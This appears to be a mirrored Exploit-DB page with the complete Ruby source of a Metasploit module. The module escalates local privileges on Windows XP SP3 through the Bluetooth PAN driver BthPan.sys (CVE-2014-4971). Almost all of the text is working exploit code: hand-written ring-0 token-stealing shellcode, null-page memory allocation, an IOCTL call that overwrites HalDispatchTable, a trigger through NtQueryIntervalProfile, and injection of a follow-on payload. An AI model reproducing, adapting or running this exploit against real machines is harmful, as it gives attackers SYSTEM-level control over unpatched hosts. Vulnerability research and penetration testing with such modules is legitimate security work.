Microsoft Bluetooth Personal Area Networking – ‘BthPan.sys’ Local Privilege Escalation (Metasploit)

  • 作者: Metasploit
    日期: 2014-10-15
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/34982/
  • ##
    # This module requires Metasploit: http//metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    require 'msf/core/exploit/local/windows_kernel'
    require 'rex'
    
    class Metasploit3 < Msf::Exploit::Local
    Rank = AverageRanking
    
    include Msf::Exploit::Local::WindowsKernel
    include Msf::Post::File
    include Msf::Post::Windows::FileInfo
    include Msf::Post::Windows::Priv
    include Msf::Post::Windows::Process
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation',
    'Description'=> %q{
    A vulnerability within Microsoft Bluetooth Personal Area Networking module,
    BthPan.sys, can allow an attacker to inject memory controlled by the attacker
    into an arbitrary location. This can be used by an attacker to overwrite
    HalDispatchTable+0x4 and execute arbitrary code by subsequently calling
    NtQueryIntervalProfile.
    },
    'License' => MSF_LICENSE,
    'Author'=>
    [
    'Matt Bergin <level[at]korelogic.com>', # Vulnerability discovery and PoC
    'Jay Smith <jsmith[at]korelogic.com>' # MSF module
    ],
    'Arch'=> ARCH_X86,
    'Platform'=> 'win',
    'SessionTypes'=> [ 'meterpreter' ],
    'DefaultOptions' =>
    {
    'EXITFUNC' => 'thread'
    },
    'Targets' =>
    [
    ['Windows XP SP3',
     {
     'HaliQuerySystemInfo' => 0x16bba,
     '_KPROCESS'=> "\x44",
     '_TOKEN' => "\xc8",
     '_UPID'=> "\x84",
     '_APLINKS' => "\x88"
     }
    ]
    ],
    'References'=>
    [
    [ 'CVE', '2014-4971' ],
    [ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-002.txt' ],
    [ 'OSVDB', '109387' ]
    ],
    'DisclosureDate' => 'Jul 18 2014',
    'DefaultTarget'=> 0
    ))
    end
    
    
    def ring0_shellcode
    tokenswap = "\x60\x64\xA1\x24\x01\x00\x00"
    tokenswap << "\x8B\x40\x44\x50\xBB\x04"
    tokenswap << "\x00\x00\x00\x8B\x80\x88"
    tokenswap << "\x00\x00\x00\x2D\x88"
    tokenswap << "\x00\x00\x00\x39\x98\x84"
    tokenswap << "\x00\x00\x00\x75\xED\x8B\xB8\xC8"
    tokenswap << "\x00\x00\x00\x83\xE7\xF8\x58\xBB"
    tokenswap << [session.sys.process.getpid].pack('V')
    tokenswap << "\x8B\x80\x88\x00\x00\x00"
    tokenswap << "\x2D\x88\x00\x00\x00"
    tokenswap << "\x39\x98\x84\x00\x00\x00"
    tokenswap << "\x75\xED\x89\xB8\xC8"
    tokenswap << "\x00\x00\x00\x61\xC3"
    end
    
    def fill_memory(proc, address, length, content)
    session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
    
    unless proc.memory.writable?(address)
    vprint_error("Failed to allocate memory")
    return nil
    end
    vprint_good("#{address} is now writable")
    
    result = proc.memory.write(address, content)
    
    if result.nil?
    vprint_error("Failed to write contents to memory")
    return nil
    end
    vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
    
    return address
    end
    
    def disclose_addresses(t)
    addresses = {}
    
    hal_dispatch_table = find_haldispatchtable
    return nil if hal_dispatch_table.nil?
    addresses['halDispatchTable'] = hal_dispatch_table
    vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}")
    
    vprint_status('Getting the hal.dll base address...')
    hal_info = find_sys_base('hal.dll')
    if hal_info.nil?
    vprint_error('Failed to disclose hal.dll base address')
    return nil
    end
    hal_base = hal_info[0]
    vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16)}")
    
    hali_query_system_information = hal_base + t['HaliQuerySystemInfo']
    addresses['HaliQuerySystemInfo'] = hali_query_system_information
    
    vprint_good("HaliQuerySystemInfo address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}")
    addresses
    end
    
    def check
    if sysinfo["Architecture"] =~ /wow64/i || sysinfo["Architecture"] =~ /x64/
    return Exploit::CheckCode::Safe
    end
    
    os = sysinfo["OS"]
    return Exploit::CheckCode::Safe unless os =~ /windows xp.*service pack 3/i
    
    handle = open_device("\\\\.\\bthpan", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
    return Exploit::CheckCode::Safe unless handle
    
    session.railgun.kernel32.CloseHandle(handle)
    
    return Exploit::CheckCode::Vulnerable
    end
    
    def exploit
    if is_system?
    fail_with(Exploit::Failure::None, 'Session is already elevated')
    end
    
    unless check == Exploit::CheckCode::Vulnerable
    fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system")
    end
    
    handle = open_device("\\\\.\\bthpan", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
    if handle.nil?
    fail_with(Failure::NoTarget, "Unable to open \\\\.\\bthpan device")
    end
    
    my_target = targets[0]
    print_status("Disclosing the HalDispatchTable address...")
    @addresses = disclose_addresses(my_target)
    if @addresses.nil?
    session.railgun.kernel32.CloseHandle(handle)
    fail_with(Failure::Unknown, "Failed to disclose necessary address for exploitation. Aborting.")
    else
    print_good("Address successfully disclosed.")
    end
    
    print_status("Storing the shellcode in memory...")
    this_proc = session.sys.process.open
    kernel_shell = ring0_shellcode
    kernel_shell_address = 0x1
    
    buf = "\x90" * 0x6000
    buf[0, 1028] = "\x50\x00\x00\x00" + "\x90" * 0x400
    buf[0x5000, kernel_shell.length] = kernel_shell
    
    result = fill_memory(this_proc, kernel_shell_address, buf.length, buf)
    if result.nil?
    session.railgun.kernel32.CloseHandle(handle)
    fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
    end
    print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
    
    print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
    session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x0012d814, 0x1, 0x258, @addresses["halDispatchTable"] + 0x4, 0)
    session.railgun.kernel32.CloseHandle(handle)
    
    print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
    session.railgun.ntdll.NtQueryIntervalProfile(2, 4)
    
    print_status("Checking privileges after exploitation...")
    
    unless is_system?
    fail_with(Failure::Unknown, "The privilege escalation wasn't successful")
    end
    print_good("Privilege escalation successful!")
    
    p = payload.encoded
    print_status("Injecting #{p.length} bytes to memory and executing it...")
    unless execute_shellcode(p)
    fail_with(Failure::Unknown, "Error while executing the payload")
    end
    end
    end